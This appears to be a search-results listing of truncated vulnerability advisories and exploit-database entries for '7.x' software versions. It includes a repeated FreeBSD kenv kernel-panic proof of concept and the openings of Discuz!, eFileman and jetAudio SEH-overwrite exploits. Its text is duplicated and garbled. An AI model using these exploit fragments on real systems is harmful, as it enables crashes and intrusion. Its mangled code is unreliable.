Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in the WebAccess login page aka gw/webacc in Novell GroupWise 7.x before 7.03 HP2 allow remote attackers to inject arbitrary web script or HTML via the 1 GWAP.version or 2 User.Theme aka User.Theme.index parameter...

Microsoft Internet Explorer Denial of Service Vulnerability (Apr 2009)

Internet Explorer is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

FreeBSD 7. x (Dumping Environment) Local Kernel Panic Exploit-vulnerability warning-the black bar safety net

/ FreeBSD 7. x local kernel panic as mentioned in Errata Notice 0 9:0 1 http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc, kokanin@gmail / include kenv. h include stdio. h void main kenvKENVDUMP,NULL,1 2 3 1 2 3 1 2 3,1 2 3 1 2 3 1 2 3; // milw0rm.com 2009-03-23...

FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit

No description provided by source. / FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01 http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc, kokanin@gmail / include kenv.h include stdio.h void main kenvKENVDUMP,NULL,123123123,123123123;...

FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit

Exploit for freebsd platform in category dos / poc ============================================================ FreeBSD 7.x Dumping Environment Local Kernel Panic Exploit ============================================================ / FreeBSD 7.x local kernel panic as mentioned in Errata Notice...

FreeBSD 7.x - Dumping Environment Local Kernel Panic (Denial of Service)

/ FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01 http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc, kokanin@gmail / include include void main kenvKENVDUMP,NULL,123123123,123123123; // milw0rm.com 2009-03-23...

Sql injection

Multiple unspecified vulnerabilities in FreeBSD 6 before 6.4-STABLE, 6.3 before 6.3-RELEASE-p7, 6.4 before 6.4-RELEASE-p1, 7.0 before 7.0-RELEASE-p7, 7.1 before 7.1-RC2, and 7 before 7.1-PRERELEASE allow local users to gain privileges via unknown attack vectors related to function pointers that a...

DZ! sodb-2 0 0 8-1 3 EXP published-vulnerability warning-the black bar safety net

!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com Notes the value of the variable, add your own modifications / $host = ‘www.80vul.com’; // Server domain or IP $path = ‘/discuz/’; // Where the program path $key = 0; // The above variable is edited, make will the value...

Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp-vulnerability warning-the black bar safety net

!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com Notes the value of the variable, add your own modifications / $host = 'www.80vul.com'; // Server domain or IP $path = '/discuz/'; // Where the program path $key = 0; // The above variable is edited, make will the value...

discuz-exec.txt

!/usr/bin/php \n别告诉我你不会用 -,-\n"; else exit"嗯,大概是该网站不存在漏洞,换一个吧 -,-\n"; fun...

Adobe Presenter viewer.swf and loadflash.js XSS Vulnerability

The host is running Adobe Presenter, which prone to to input validation errors which can be exploited by malicious people to conduct cross-site scripting vulnerability. OpenVAS Vulnerability Test $Id: secpodadobepresenterxssvuln900110.nasl 5370 2017-02-20 15:24:26Z cfi $ Description: Adobe...

CVE-2008-2512

Directory traversal vulnerability in Symantec Backup Exec System Recovery Manager 7.x before 7.0.4 and 8.x before 8.0.2 allows remote attackers to read arbitrary files via unspecified vectors...

Novell Groupwise Windows客户端API非授权邮件访问漏洞

BUGTRAQ ID: 18716 CVECAN ID: CVE-2006-3268 Novell GroupWise是一款跨平台协作软件。 Novell GroupWise的客户端API实现上存在漏洞，攻击者可能利用漏洞绕过安全限制，访问某些非授权的邮件。 Novell Groupwise 7.x Novell Groupwise 6.x Novell Groupwise 5.x 厂商补丁： Novell ------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： GroupWise 6.5: Apply SP6 Client Update 1...

efileman-multi.txt

Software : eFileman Version : 7.x tested on 7.1.0.87-88 Found by : Xcross87 A. Remote File Upload Vulnerability : Xploit : http://victim.com/path/upload.html http://victim.com/path/cgi-bin/efileman/upload.cgi The uploaded files are stored in : http://victim.com/path/uploads/uploadfile.xxx B. Dire...

jetaudio-local.txt

!/usr/bin/python jetAudio 7.x m3u File 0day Local SEH Overwrite Exploit Bug discovered by Krystian Kloskowski h07 Tested on: jetAudio 7.0.3 Basic / 2k SP4 Polish Shellcode: Windows Execute Command calc Just for fun ; from struct import pack m3u = "EXTM3U\nhttp://%s" shellcode =...

jetAudio 7.x - .m3u Local Overwrite (SEH)

jetAudio 7.x - .m3u Local Overwrite SEH !/usr/bin/python jetAudio 7.x m3u File 0day Local SEH Overwrite Exploit Bug discovered by Krystian Kloskowski h07 Tested on: jetAudio 7.0.3 Basic / 2k SP4 Polish Shellcode: Windows Execute Command calc Just for fun ; from struct import pack m3u =...

jetAudio 7.x - '.m3u' Local Overwrite (SEH)

!/usr/bin/python jetAudio 7.x m3u File 0day Local SEH Overwrite Exploit Bug discovered by Krystian Kloskowski h07 Tested on: jetAudio 7.0.3 Basic / 2k SP4 Polish Shellcode: Windows Execute Command calc Just for fun ; from struct import pack m3u = "EXTM3U\nhttp://%s" shellcode =...

jetAudio 7.x (m3u File) Local SEH Overwrite Exploit

Exploit for unknown platform in category local exploits =================================================== jetAudio 7.x m3u File Local SEH Overwrite Exploit =================================================== !/usr/bin/python jetAudio 7.x m3u File 0day Local SEH Overwrite Exploit Bug discovered ...

jetAudio 7.x ActiveX DownloadFromMusicStore() Code Execution Exploit

Exploit for unknown platform in category remote exploits ==================================================================== jetAudio 7.x ActiveX DownloadFromMusicStore Code Execution Exploit ==================================================================== Tested on:.. - jetAudio 7.0.3 Basic...

SAP DB 7.x Web Server - WAHTTP.exe Multiple Buffer Overflow Vulnerabilities

SAP DB 7.x Web Server - WAHTTP.exe Multiple Buffer Overflow Vulnerabilities // source: https://www.securityfocus.com/bid/24773/info SAP DB Web Server is prone to multiple buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied input before copying it to an...